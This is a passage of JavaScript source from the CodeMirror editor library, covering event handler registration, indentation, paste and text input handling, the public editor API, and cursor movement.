    for (var opt in optionHandlers) { if (optionHandlers.hasOwnProperty(opt))
      { optionHandlers[opt](this, options[opt], Init); } }
    maybeUpdateLineNumberWidth(this);
    if (options.finishInit) { options.finishInit(this); }
    for (var i = 0; i < initHooks.length; ++i) { initHooks[i](this); }
    endOperation(this);
    // Suppress optimizelegibility in Webkit, since it breaks text
    // measuring on line wrapping boundaries.
    if (webkit && options.lineWrapping &&
        getComputedStyle(display.lineDiv).textRendering == "optimizelegibility")
      { display.lineDiv.style.textRendering = "auto"; }
  }

  // The default configuration options.
  CodeMirror.defaults = defaults;
  // Functions to run when options are changed.
  CodeMirror.optionHandlers = optionHandlers;

  // Attach the necessary event handlers when initializing the editor
  function registerEventHandlers(cm) {
    var d = cm.display;
    on(d.scroller, "mousedown", operation(cm, onMouseDown));
    // Older IE's will not fire a second mousedown for a double click
    if (ie && ie_version < 11)
      { on(d.scroller, "dblclick", operation(cm, function (e) {
        if (signalDOMEvent(cm, e)) { return }
        var pos = posFromMouse(cm, e);
        if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) { return }
        e_preventDefault(e);
        var word = cm.findWordAt(pos);
        extendSelection(cm.doc, word.anchor, word.head);
      })); }
    else
      { on(d.scroller, "dblclick", function (e) { return signalDOMEvent(cm, e) || e_preventDefault(e); }); }
    // Some browsers fire contextmenu *after* opening the menu, at
    // which point we can't mess with it anymore. Context menu is
    // handled in onMouseDown for these browsers.
    on(d.scroller, "contextmenu", function (e) { return onContextMenu(cm, e); });
    on(d.input.getField(), "contextmenu", function (e) {
      if (!d.scroller.contains(e.target)) { onContextMenu(cm, e); }
    });

    // Used to suppress mouse event handling when a touch happens
    var touchFinished, prevTouch = {end: 0};
    function finishTouch() {
      if (d.activeTouch) {
        touchFinished = setTimeout(function () { return d.activeTouch = null; }, 1000);
        prevTouch = d.activeTouch;
        prevTouch.end = +new Date;
      }
    }
    function isMouseLikeTouchEvent(e) {
      if (e.touches.length != 1) { return false }
      var touch = e.touches[0];
      return touch.radiusX <= 1 && touch.radiusY <= 1
    }
    function farAway(touch, other) {
      if (other.left == null) { return true }
      var dx = other.left - touch.left, dy = other.top - touch.top;
      return dx * dx + dy * dy > 20 * 20
    }
    on(d.scroller, "touchstart", function (e) {
      if (!signalDOMEvent(cm, e) && !isMouseLikeTouchEvent(e) && !clickInGutter(cm, e)) {
        d.input.ensurePolled();
        clearTimeout(touchFinished);
        var now = +new Date;
        d.activeTouch = {start: now, moved: false,
                         prev: now - prevTouch.end <= 300 ? prevTouch : null};
        if (e.touches.length == 1) {
          d.activeTouch.left = e.touches[0].pageX;
          d.activeTouch.top = e.touches[0].pageY;
        }
      }
    });
    on(d.scroller, "touchmove", function () {
      if (d.activeTouch) { d.activeTouch.moved = true; }
    });
    on(d.scroller, "touchend", function (e) {
      var touch = d.activeTouch;
      if (touch && !eventInWidget(d, e) && touch.left != null &&
          !touch.moved && new Date - touch.start < 300) {
        var pos = cm.coordsChar(d.activeTouch, "page"), range;
        if (!touch.prev || farAway(touch, touch.prev)) // Single tap
          { range = new Range(pos, pos); }
        else if (!touch.prev.prev || farAway(touch, touch.prev.prev)) // Double tap
          { range = cm.findWordAt(pos); }
        else // Triple tap
          { range = new Range(Pos(pos.line, 0), clipPos(cm.doc, Pos(pos.line + 1, 0))); }
        cm.setSelection(range.anchor, range.head);
        cm.focus();
        e_preventDefault(e);
      }
      finishTouch();
    });
    on(d.scroller, "touchcancel", finishTouch);

    // Sync scrolling between fake scrollbars and real scrollable
    // area, ensure viewport is updated when scrolling.
    on(d.scroller, "scroll", function () {
      if (d.scroller.clientHeight) {
        updateScrollTop(cm, d.scroller.scrollTop);
        setScrollLeft(cm, d.scroller.scrollLeft, true);
        signal(cm, "scroll", cm);
      }
    });

    // Listen to wheel events in order to try and update the viewport on time.
    on(d.scroller, "mousewheel", function (e) { return onScrollWheel(cm, e); });
    on(d.scroller, "DOMMouseScroll", function (e) { return onScrollWheel(cm, e); });

    // Prevent wrapper from ever scrolling
    on(d.wrapper, "scroll", function () { return d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });

    d.dragFunctions = {
      enter: function (e) {if (!signalDOMEvent(cm, e)) { e_stop(e); }},
      over: function (e) {if (!signalDOMEvent(cm, e)) { onDragOver(cm, e); e_stop(e); }},
      start: function (e) { return onDragStart(cm, e); },
      drop: operation(cm, onDrop),
      leave: function (e) {if (!signalDOMEvent(cm, e)) { clearDragCursor(cm); }}
    };

    var inp = d.input.getField();
    on(inp, "keyup", function (e) { return onKeyUp.call(cm, e); });
    on(inp, "keydown", operation(cm, onKeyDown));
    on(inp, "keypress", operation(cm, onKeyPress));
    on(inp, "focus", function (e) { return onFocus(cm, e); });
    on(inp, "blur", function (e) { return onBlur(cm, e); });
  }

  var initHooks = [];
  CodeMirror.defineInitHook = function (f) { return initHooks.push(f); };

  // Indent the given line. The how parameter can be "smart",
  // "add"/null, "subtract", or "prev". When aggressive is false
  // (typically set to true for forced single-line indents), empty
  // lines are not indented, and places where the mode returns Pass
  // are left alone.
  function indentLine(cm, n, how, aggressive) {
    var doc = cm.doc, state;
    if (how == null) { how = "add"; }
    if (how == "smart") {
      // Fall back to "prev" when the mode doesn't have an indentation
      // method.
      if (!doc.mode.indent) { how = "prev"; }
      else { state = getContextBefore(cm, n).state; }
    }

    var tabSize = cm.options.tabSize;
    var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize);
    if (line.stateAfter) { line.stateAfter = null; }
    var curSpaceString = line.text.match(/^\s*/)[0], indentation;
    if (!aggressive && !/\S/.test(line.text)) {
      indentation = 0;
      how = "not";
    } else if (how == "smart") {
      indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text);
      if (indentation == Pass || indentation > 150) {
        if (!aggressive) { return }
        how = "prev";
      }
    }
    if (how == "prev") {
      if (n > doc.first) { indentation = countColumn(getLine(doc, n-1).text, null, tabSize); }
      else { indentation = 0; }
    } else if (how == "add") {
      indentation = curSpace + cm.options.indentUnit;
    } else if (how == "subtract") {
      indentation = curSpace - cm.options.indentUnit;
    } else if (typeof how == "number") {
      indentation = curSpace + how;
    }
    indentation = Math.max(0, indentation);

    var indentString = "", pos = 0;
    if (cm.options.indentWithTabs)
      { for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += "\t";} }
    if (pos < indentation) { indentString += spaceStr(indentation - pos); }

    if (indentString != curSpaceString) {
      replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), "+input");
      line.stateAfter = null;
      return true
    } else {
      // Ensure that, if the cursor was in the whitespace at the start
      // of the line, it is moved to the end of that space.
      for (var i$1 = 0; i$1 < doc.sel.ranges.length; i$1++) {
        var range = doc.sel.ranges[i$1];
        if (range.head.line == n && range.head.ch < curSpaceString.length) {
          var pos$1 = Pos(n, curSpaceString.length);
          replaceOneSelection(doc, i$1, new Range(pos$1, pos$1));
          break
        }
      }
    }
  }

  // This will be set to a {lineWise: bool, text: [string]} object, so
  // that, when pasting, we know what kind of selections the copied
  // text was made out of.
  var lastCopied = null;

  function setLastCopied(newLastCopied) {
    lastCopied = newLastCopied;
  }

  function applyTextInput(cm, inserted, deleted, sel, origin) {
    var doc = cm.doc;
    cm.display.shift = false;
    if (!sel) { sel = doc.sel; }

    var recent = +new Date - 200;
    var paste = origin == "paste" || cm.state.pasteIncoming > recent;
    var textLines = splitLinesAuto(inserted), multiPaste = null;
    // When pasting N lines into N selections, insert one line per selection
    if (paste && sel.ranges.length > 1) {
      if (lastCopied && lastCopied.text.join("\n") == inserted) {
        if (sel.ranges.length % lastCopied.text.length == 0) {
          multiPaste = [];
          for (var i = 0; i < lastCopied.text.length; i++)
            { multiPaste.push(doc.splitLines(lastCopied.text[i])); }
        }
      } else if (textLines.length == sel.ranges.length && cm.options.pasteLinesPerSelection) {
        multiPaste = map(textLines, function (l) { return [l]; });
      }
    }

    var updateInput = cm.curOp.updateInput;
    // Normal behavior is to insert the new text into every selection
    for (var i$1 = sel.ranges.length - 1; i$1 >= 0; i$1--) {
      var range = sel.ranges[i$1];
      var from = range.from(), to = range.to();
      if (range.empty()) {
        if (deleted && deleted > 0) // Handle deletion
          { from = Pos(from.line, from.ch - deleted); }
        else if (cm.state.overwrite && !paste) // Handle overwrite
          { to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length)); }
        else if (paste && lastCopied && lastCopied.lineWise && lastCopied.text.join("\n") == textLines.join("\n"))
          { from = to = Pos(from.line, 0); }
      }
      var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i$1 % multiPaste.length] : textLines,
                         origin: origin || (paste ? "paste" : cm.state.cutIncoming > recent ? "cut" : "+input")};
      makeChange(cm.doc, changeEvent);
      signalLater(cm, "inputRead", cm, changeEvent);
    }
    if (inserted && !paste)
      { triggerElectric(cm, inserted); }

    ensureCursorVisible(cm);
    if (cm.curOp.updateInput < 2) { cm.curOp.updateInput = updateInput; }
    cm.curOp.typing = true;
    cm.state.pasteIncoming = cm.state.cutIncoming = -1;
  }

  function handlePaste(e, cm) {
    var pasted = e.clipboardData && e.clipboardData.getData("Text");
    if (pasted) {
      e.preventDefault();
      if (!cm.isReadOnly() && !cm.options.disableInput)
        { runInOp(cm, function () { return applyTextInput(cm, pasted, 0, null, "paste"); }); }
      return true
    }
  }

  function triggerElectric(cm, inserted) {
    // When an 'electric' character is inserted, immediately trigger a reindent
    if (!cm.options.electricChars || !cm.options.smartIndent) { return }
    var sel = cm.doc.sel;

    for (var i = sel.ranges.length - 1; i >= 0; i--) {
      var range = sel.ranges[i];
      if (range.head.ch > 100 || (i && sel.ranges[i - 1].head.line == range.head.line)) { continue }
      var mode = cm.getModeAt(range.head);
      var indented = false;
      if (mode.electricChars) {
        for (var j = 0; j < mode.electricChars.length; j++)
          { if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {
            indented = indentLine(cm, range.head.line, "smart");
            break
          } }
      } else if (mode.electricInput) {
        if (mode.electricInput.test(getLine(cm.doc, range.head.line).text.slice(0, range.head.ch)))
          { indented = indentLine(cm, range.head.line, "smart"); }
      }
      if (indented) { signalLater(cm, "electricInput", cm, range.head.line); }
    }
  }

  function copyableRanges(cm) {
    var text = [], ranges = [];
    for (var i = 0; i < cm.doc.sel.ranges.length; i++) {
      var line = cm.doc.sel.ranges[i].head.line;
      var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};
      ranges.push(lineRange);
      text.push(cm.getRange(lineRange.anchor, lineRange.head));
    }
    return {text: text, ranges: ranges}
  }

  function disableBrowserMagic(field, spellcheck, autocorrect, autocapitalize) {
    field.setAttribute("autocorrect", autocorrect ? "" : "off");
    field.setAttribute("autocapitalize", autocapitalize ? "" : "off");
    field.setAttribute("spellcheck", !!spellcheck);
  }

  function hiddenTextarea() {
    var te = elt("textarea", null, null, "position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none");
    var div = elt("div", [te], null, "overflow: hidden; position: relative; width: 3px; height: 0px;");
    // The textarea is kept positioned near the cursor to prevent the
    // fact that it'll be scrolled into view on input from scrolling
    // our fake cursor out of view. On webkit, when wrap=off, paste is
    // very slow. So make the area wide instead.
    if (webkit) { te.style.width = "1000px"; }
    else { te.setAttribute("wrap", "off"); }
    // If border: 0; -- iOS fails to open keyboard (issue #1287)
    if (ios) { te.style.border = "1px solid black"; }
    disableBrowserMagic(te);
    return div
  }

  // The publicly visible API. Note that methodOp(f) means
  // 'wrap f in an operation, performed on its `this` parameter'.

  // This is not the complete set of editor methods. Most of the
  // methods defined on the Doc type are also injected into
  // CodeMirror.prototype, for backwards compatibility and
  // convenience.

  function addEditorMethods(CodeMirror) {
    var optionHandlers = CodeMirror.optionHandlers;

    var helpers = CodeMirror.helpers = {};

    CodeMirror.prototype = {
      constructor: CodeMirror,
      focus: function(){window.focus(); this.display.input.focus();},

      setOption: function(option, value) {
        var options = this.options, old = options[option];
        if (options[option] == value && option != "mode") { return }
        options[option] = value;
        if (optionHandlers.hasOwnProperty(option))
          { operation(this, optionHandlers[option])(this, value, old); }
        signal(this, "optionChange", this, option);
      },

      getOption: function(option) {return this.options[option]},
      getDoc: function() {return this.doc},

      addKeyMap: function(map, bottom) {
        this.state.keyMaps[bottom ? "push" : "unshift"](getKeyMap(map));
      },
      removeKeyMap: function(map) {
        var maps = this.state.keyMaps;
        for (var i = 0; i < maps.length; ++i)
          { if (maps[i] == map || maps[i].name == map) {
            maps.splice(i, 1);
            return true
          } }
      },

      addOverlay: methodOp(function(spec, options) {
        var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec);
        if (mode.startState) { throw new Error("Overlays may not be stateful.") }
        insertSorted(this.state.overlays,
                     {mode: mode, modeSpec: spec, opaque: options && options.opaque,
                      priority: (options && options.priority) || 0},
                     function (overlay) { return overlay.priority; });
        this.state.modeGen++;
        regChange(this);
      }),
      removeOverlay: methodOp(function(spec) {
        var overlays = this.state.overlays;
        for (var i = 0; i < overlays.length; ++i) {
          var cur = overlays[i].modeSpec;
          if (cur == spec || typeof spec == "string" && cur.name == spec) {
            overlays.splice(i, 1);
            this.state.modeGen++;
            regChange(this);
            return
          }
        }
      }),

      indentLine: methodOp(function(n, dir, aggressive) {
        if (typeof dir != "string" && typeof dir != "number") {
          if (dir == null) { dir = this.options.smartIndent ? "smart" : "prev"; }
          else { dir = dir ? "add" : "subtract"; }
        }
        if (isLine(this.doc, n)) { indentLine(this, n, dir, aggressive); }
      }),
      indentSelection: methodOp(function(how) {
        var ranges = this.doc.sel.ranges, end = -1;
        for (var i = 0; i < ranges.length; i++) {
          var range = ranges[i];
          if (!range.empty()) {
            var from = range.from(), to = range.to();
            var start = Math.max(end, from.line);
            end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;
            for (var j = start; j < end; ++j)
              { indentLine(this, j, how); }
            var newRanges = this.doc.sel.ranges;
            if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0)
              { replaceOneSelection(this.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll); }
          } else if (range.head.line > end) {
            indentLine(this, range.head.line, how, true);
            end = range.head.line;
            if (i == this.doc.sel.primIndex) { ensureCursorVisible(this); }
          }
        }
      }),

      // Fetch the parser token for a given character. Useful for hacks
      // that want to inspect the mode state (say, for completion).
      getTokenAt: function(pos, precise) {
        return takeToken(this, pos, precise)
      },

      getLineTokens: function(line, precise) {
        return takeToken(this, Pos(line), precise, true)
      },

      getTokenTypeAt: function(pos) {
        pos = clipPos(this.doc, pos);
        var styles = getLineStyles(this, getLine(this.doc, pos.line));
        var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;
        var type;
        if (ch == 0) { type = styles[2]; }
        else { for (;;) {
          var mid = (before + after) >> 1;
          if ((mid ? styles[mid * 2 - 1] : 0) >= ch) { after = mid; }
          else if (styles[mid * 2 + 1] < ch) { before = mid + 1; }
          else { type = styles[mid * 2 + 2]; break }
        } }
        var cut = type ? type.indexOf("overlay ") : -1;
        return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1)
      },

      getModeAt: function(pos) {
        var mode = this.doc.mode;
        if (!mode.innerMode) { return mode }
        return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode
      },

      getHelper: function(pos, type) {
        return this.getHelpers(pos, type)[0]
      },

      getHelpers: function(pos, type) {
        var found = [];
        if (!helpers.hasOwnProperty(type)) { return found }
        var help = helpers[type], mode = this.getModeAt(pos);
        if (typeof mode[type] == "string") {
          if (help[mode[type]]) { found.push(help[mode[type]]); }
        } else if (mode[type]) {
          for (var i = 0; i < mode[type].length; i++) {
            var val = help[mode[type][i]];
            if (val) { found.push(val); }
          }
        } else if (mode.helperType && help[mode.helperType]) {
          found.push(help[mode.helperType]);
        } else if (help[mode.name]) {
          found.push(help[mode.name]);
        }
        for (var i$1 = 0; i$1 < help._global.length; i$1++) {
          var cur = help._global[i$1];
          if (cur.pred(mode, this) && indexOf(found, cur.val) == -1)
            { found.push(cur.val); }
        }
        return found
      },

      getStateAfter: function(line, precise) {
        var doc = this.doc;
        line = clipLine(doc, line == null ? doc.first + doc.size - 1: line);
        return getContextBefore(this, line + 1, precise).state
      },

      cursorCoords: function(start, mode) {
        var pos, range = this.doc.sel.primary();
        if (start == null) { pos = range.head; }
        else if (typeof start == "object") { pos = clipPos(this.doc, start); }
        else { pos = start ? range.from() : range.to(); }
        return cursorCoords(this, pos, mode || "page")
      },

      charCoords: function(pos, mode) {
        return charCoords(this, clipPos(this.doc, pos), mode || "page")
      },

      coordsChar: function(coords, mode) {
        coords = fromCoordSystem(this, coords, mode || "page");
        return coordsChar(this, coords.left, coords.top)
      },

      lineAtHeight: function(height, mode) {
        height = fromCoordSystem(this, {top: height, left: 0}, mode || "page").top;
        return lineAtHeight(this.doc, height + this.display.viewOffset)
      },
      heightAtLine: function(line, mode, includeWidgets) {
        var end = false, lineObj;
        if (typeof line == "number") {
          var last = this.doc.first + this.doc.size - 1;
          if (line < this.doc.first) { line = this.doc.first; }
          else if (line > last) { line = last; end = true; }
          lineObj = getLine(this.doc, line);
        } else {
          lineObj = line;
        }
        return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || "page", includeWidgets || end).top +
          (end ? this.doc.height - heightAtLine(lineObj) : 0)
      },

      defaultTextHeight: function() { return textHeight(this.display) },
      defaultCharWidth: function() { return charWidth(this.display) },

      getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo}},

      addWidget: function(pos, node, scroll, vert, horiz) {
        var display = this.display;
        pos = cursorCoords(this, clipPos(this.doc, pos));
        var top = pos.bottom, left = pos.left;
        node.style.position = "absolute";
        node.setAttribute("cm-ignore-events", "true");
        this.display.input.setUneditable(node);
        display.sizer.appendChild(node);
        if (vert == "over") {
          top = pos.top;
        } else if (vert == "above" || vert == "near") {
          var vspace = Math.max(display.wrapper.clientHeight, this.doc.height),
          hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth);
          // Default to positioning above (if specified and possible); otherwise default to positioning below
          if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight)
            { top = pos.top - node.offsetHeight; }
          else if (pos.bottom + node.offsetHeight <= vspace)
            { top = pos.bottom; }
          if (left + node.offsetWidth > hspace)
            { left = hspace - node.offsetWidth; }
        }
        node.style.top = top + "px";
        node.style.left = node.style.right = "";
        if (horiz == "right") {
          left = display.sizer.clientWidth - node.offsetWidth;
          node.style.right = "0px";
        } else {
          if (horiz == "left") { left = 0; }
          else if (horiz == "middle") { left = (display.sizer.clientWidth - node.offsetWidth) / 2; }
          node.style.left = left + "px";
        }
        if (scroll)
          { scrollIntoView(this, {left: left, top: top, right: left + node.offsetWidth, bottom: top + node.offsetHeight}); }
      },

      triggerOnKeyDown: methodOp(onKeyDown),
      triggerOnKeyPress: methodOp(onKeyPress),
      triggerOnKeyUp: onKeyUp,
      triggerOnMouseDown: methodOp(onMouseDown),

      execCommand: function(cmd) {
        if (commands.hasOwnProperty(cmd))
          { return commands[cmd].call(null, this) }
      },

      triggerElectric: methodOp(function(text) { triggerElectric(this, text); }),

      findPosH: function(from, amount, unit, visually) {
        var dir = 1;
        if (amount < 0) { dir = -1; amount = -amount; }
        var cur = clipPos(this.doc, from);
        for (var i = 0; i < amount; ++i) {
          cur = findPosH(this.doc, cur, dir, unit, visually);
          if (cur.hitSide) { break }
        }
        return cur
      },

      moveH: methodOp(function(dir, unit) {
        var this$1 = this;

        this.extendSelectionsBy(function (range) {
          if (this$1.display.shift || this$1.doc.extend || range.empty())
            { return findPosH(this$1.doc, range.head, dir, unit, this$1.options.rtlMoveVisually) }
          else
            { return dir < 0 ? range.from() : range.to() }
        }, sel_move);
      }),

      deleteH: methodOp(function(dir, unit) {
        var sel = this.doc.sel, doc = this.doc;
        if (sel.somethingSelected())
          { doc.replaceSelection("", null, "+delete"); }
        else
          { deleteNearSelection(this, function (range) {
            var other = findPosH(doc, range.head, dir, unit, false);
            return dir < 0 ? {from: other, to: range.head} : {from: range.head, to: other}
          }); }
      }),

      findPosV: function(from, amount, unit, goalColumn) {
        var dir = 1, x = goalColumn;
        if (amount < 0) { dir = -1; amount = -amount; }
        var cur = clipPos(this.doc, from);
        for (var i = 0; i < amount; ++i) {
          var coords = cursorCoords(this, cur, "div");
          if (x == null) { x = coords.left; }
          else { coords.left = x; }
          cur = findPosV(this, coords, dir, unit);
          if (cur.hitSide) { break }
        }
        return cur
      },

      moveV: methodOp(function(dir, unit) {
        var this$1 = this;

        var doc = this.doc, goals = [];
        var collapse = !this.display.shift && !doc.extend && doc.sel.somethingSelected();
        doc.extendSelectionsBy(function (range) {
          if (collapse)
            { return dir < 0 ? range.from() : range.to() }
          var headPos = cursorCoords(this$1, range.head, "div");
          if (range.goalColumn != null) { headPos.left = range.goalColumn; }
          goals.push(headPos.left);
          var pos = findPosV(this$1, headPos, dir, unit);
          if (unit == "page" && range == doc.sel.primary())
            { addToScrollTop(this$1, charCoords(this$1, pos, "div").top - headPos.top); }
          return pos
        }, sel_move);
        if (goals.length) { for (var i = 0; i < doc.sel.ranges.length; i++)
          { doc.sel.ranges[i].goalColumn = goals[i]; } }
      }),

      // Find the word at the given position (as returned by coordsChar).
      findWordAt: function(pos) {
        var doc = this.doc, line = getLine(doc, pos.line).text;
        var start = pos.ch, end = pos.ch;
        if (line) {
          var helper = this.getHelper(pos, "wordChars");
          if ((pos.sticky == "before" || end == line.length) && start) { --start; } else { ++end; }
          var startChar = line.charAt(start);
          var check = isWordChar(startChar, helper)
            ? function (ch) { return isWordChar(ch, helper); }
            : /\s/.test(startChar) ? function (ch) { return /\s/.test(ch); }
            : function (ch) { return (!/\s/.test(ch) && !isWordChar(ch)); };
          while (start > 0 && check(line.charAt(start - 1))) { --start; }
          while (end < line.length && check(line.charAt(end))) { ++end; }
        }
        return new Range(Pos(pos.line, start), Pos(pos.line, end))
      },

      toggleOverwrite: function(value) {
        if (value != null && value == this.state.overwrite) { return }
        if (this.state.overwrite = !this.state.overwrite)
          { addClass(this.display.cursorDiv, "CodeMirror-overwrite"); }
        else
          { rmClass(this.display.cursorDiv, "CodeMirror-overwrite"); }

        signal(this, "overwriteToggle", this, this.state.overwrite);
      },
      hasFocus: function() { return this.display.input.getField() == activeElt() },
      isReadOnly: function() { return !!(this.options.readOnly || this.doc.cantEdit) },

      scrollTo: methodOp(function (x, y) { scrollToCoords(this, x, y); }),
      getScrollInfo: function() {
        var scroller = this.display.scroller;
        return {left: scroller.scrollLeft, top: scroller.scrollTop,
                height: scroller.scrollHeight - scrollGap(this) - this.display.barHeight,
                width: scroller.scrollWidth - scrollGap(this) - this.display.barWidth,
                clientHeight: displayHeight(this), clientWidth: displayWidth(this)}
      },

      scrollIntoView: methodOp(function(range, margin) {
        if (range == null) {
          range = {from: this.doc.sel.primary().head, to: null};
          if (margin == null) { margin = this.options.cursorScrollMargin; }
        } else if (typeof range == "number") {
          range = {from: Pos(range, 0), to: null};
        } else if (range.from == null) {
          range = {from: range, to: null};
        }
        if (!range.to) { range.to = range.from; }
        range.margin = margin || 0;

        if (range.from.line != null) {
          scrollToRange(this, range);
        } else {
          scrollToCoordsRange(this, range.from, range.to, range.margin);
        }
      }),

      setSize: methodOp(function(width, height) {
        var this$1 = this;

        var interpret = function (val) { return typeof val == "number" || /^\d+$/.test(String(val)) ? val + "px" : val; };
        if (width != null) { this.display.wrapper.style.width = interpret(width); }
        if (height != null) { this.display.wrapper.style.height = interpret(height); }
        if (this.options.lineWrapping) { clearLineMeasurementCache(this); }
        var lineNo = this.display.viewFrom;
        this.doc.iter(lineNo, this.display.viewTo, function (line) {
          if (line.widgets) { for (var i = 0; i < line.widgets.length; i++)
            { if (line.widgets[i].noHScroll) { regLineChange(this$1, lineNo, "widget"); break } } }
          ++lineNo;
        });
        this.curOp.forceUpdate = true;
        signal(this, "refresh", this);
      }),

      operation: function(f){return runInOp(this, f)},
      startOperation: function(){return startOperation(this)},
      endOperation: function(){return endOperation(this)},

      refresh: methodOp(function() {
        var oldHeight = this.display.cachedTextHeight;
        regChange(this);
        this.curOp.forceUpdate = true;
        clearCaches(this);
        scrollToCoords(this, this.doc.scrollLeft, this.doc.scrollTop);
        updateGutterSpace(this.display);
        if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5 || this.options.lineWrapping)
          { estimateLineHeights(this); }
        signal(this, "refresh", this);
      }),

      swapDoc: methodOp(function(doc) {
        var old = this.doc;
        old.cm = null;
        // Cancel the current text selection if any (#5821)
        if (this.state.selectingText) { this.state.selectingText(); }
        attachDoc(this, doc);
        clearCaches(this);
        this.display.input.reset();
        scrollToCoords(this, doc.scrollLeft, doc.scrollTop);
        this.curOp.forceScroll = true;
        signalLater(this, "swapDoc", this, old);
        return old
      }),

      phrase: function(phraseText) {
        var phrases = this.options.phrases;
        return phrases && Object.prototype.hasOwnProperty.call(phrases, phraseText) ? phrases[phraseText] : phraseText
      },

      getInputField: function(){return this.display.input.getField()},
      getWrapperElement: function(){return this.display.wrapper},
      getScrollerElement: function(){return this.display.scroller},
      getGutterElement: function(){return this.display.gutters}
    };
    eventMixin(CodeMirror);

    CodeMirror.registerHelper = function(type, name, value) {
      if (!helpers.hasOwnProperty(type)) { helpers[type] = CodeMirror[type] = {_global: []}; }
      helpers[type][name] = value;
    };
    CodeMirror.registerGlobalHelper = function(type, name, predicate, value) {
      CodeMirror.registerHelper(type, name, value);
      helpers[type]._global.push({pred: predicate, val: value});
    };
  }

  // Used for horizontal relative motion. Dir is -1 or 1 (left or
  // right), unit can be "codepoint", "char", "column" (like char, but
  // doesn't cross line boundaries), "word" (across next word), or
  // "group" (to the start of next group of word or
  // non-word-non-whitespace chars). The visually param controls
  // whether, in right-to-left text, direction 1 means to move towards
  // the next index in the string, or towards the character to the right
  // of the current position. The resulting position will have a
  // hitSide=true property if it reached the end of the document.
  function findPosH(doc, pos, dir, unit, visually) {
    var oldPos = pos;
    var origDir = dir;
    var lineObj = getLine(doc, pos.line);
    var lineDir = visually && doc.direction == "rtl" ? -dir : dir;
    function findNextLine() {
      var l = pos.line + lineDir;
      if (l < doc.first || l >= doc.first + doc.size) { return false }
      pos = new Pos(l, pos.ch, pos.sticky);
      return lineObj = getLine(doc, l)
    }
    function moveOnce(boundToLine) {
      var next;
      if (unit == "codepoint") {
        var ch = lineObj.text.charCodeAt(pos.ch + (unit > 0 ? 0 : -1));
        if (isNaN(ch)) { next = null; }
        else { next = new Pos(pos.line, Math.max(0, Math.min(lineObj.text.length, pos.ch + dir * (ch >= 0xD800 && ch < 0xDC00 ? 2 : 1))),
                            -dir); }
      } else if (visually) {
        next = moveVisually(doc.cm, lineObj, pos, dir);
      } else {
        next = moveLogically(lineObj, pos, dir);
      }
      if (next == null) {
        if (!boundToLine && findNextLine())
          { pos = endOfLine(visually, doc.cm, lineObj, pos.line, lineDir); }
        else
          { return false }
      } else {
        pos = next;
      }
      return true
    }

    if (unit == "char" || unit == "codepoint") {
      moveOnce();
    } else if (unit == "column") {
      moveOnce(true);
    } else if (unit == "word" || unit == "group") {
      var sawType = null, group = unit == "group";
      var helper = doc.cm && doc.cm.getHelper(pos, "wordChars");
      for (var first = true;; first = false) {
        if (dir < 0 && !moveOnce(!first)) { break }
        var cur = lineObj.text.charAt(pos.ch) || "\n";
        var type = isWordChar(cur, helper) ? "w"
          : group && cur == "\n" ? "n"
          : !group || /\s/.test(cur) ? null
          : "p";
        if (group && !first && !type) { type = "s"; }
        if (sawType && sawType != type) {
          if (dir < 0) {dir = 1; moveOnce(); pos.sticky = "after";}
          break
        }

        if (type) { sawType = type; }
        if (dir > 0 && !moveOnce(!first)) { break }
      }
    }
    var result = skipAtomic(doc, pos, oldPos, origDir, true);
    if (equalCursorPos(oldPos, result)) { result.hitSide = true; }
    return result
  }

  // For relative vertical movement. Dir may be -1 or 1. Unit can be
  // "page" or "line". The resulting position will have a hitSide=true
  // property if it reached the end of the document.
  function findPosV(cm, pos, dir, unit) {
    var doc = cm.doc, x = pos.left, y;
    if (unit == "page") {
      var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight);
      var moveAmount = Math.max(pageSize - .5 * textHeight(cm.display), 3);
      y = (dir > 0 ? pos.bottom : pos.top) + dir * moveAmount;

    } else if (unit == "line") {
      y = dir > 0 ? pos.bottom + 3 : pos.top - 3;
    }
    var target;
    for (;;) {
      target = coordsChar(cm, x, y);
      if (!target.outside) { break }
      if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break }
      y += dir * 5;
    }
    return target
  }

  // CONTENTEDITABLE INPUT STYLE

  var ContentEditableInput = function(cm) {
    this.cm = cm;
    this.lastAnchorNode = this.lastAnchorOffset = this.lastFocusNode = this.lastFocusOffset = null;
    this.polling = new Delayed();
    this.composing = null;
    this.gracePeriod = false;
    this.readDOMTimeout = null;
  };

  ContentEditableInput.prototype.init = function (display) {
      var this$1 = this;

    var input = this, cm = input.cm;
    var div = input.div = display.lineDiv;
    disableBrowserMagic(div, cm.options.spellcheck, cm.options.autocorrect, cm.options.autocapitalize);

    function belongsToInput(e) {
      for (var t = e.target; t; t = t.parentNode) {
        if (t == div) { return true }
        if (/\bCodeMirror-(?:line)?widget\b/.test(t.className)) { break }
      }
      return false
    }

    on(div, "paste", function (e) {
      if (!belongsToInput(e) || signalDOMEvent(cm, e) || handlePaste(e, cm)) { return }
      // IE doesn't fire input events, so we schedule a read for the pasted content in this way
      if (ie_version <= 11) { setTimeout(operation(cm, function () { return this$1.updateFromDOM(); }), 20); }
    });

    on(div, "compositionstart", function (e) {
      this$1.composing = {data: e.data, done: false};
    });
    on(div, "compositionupdate", function (e) {
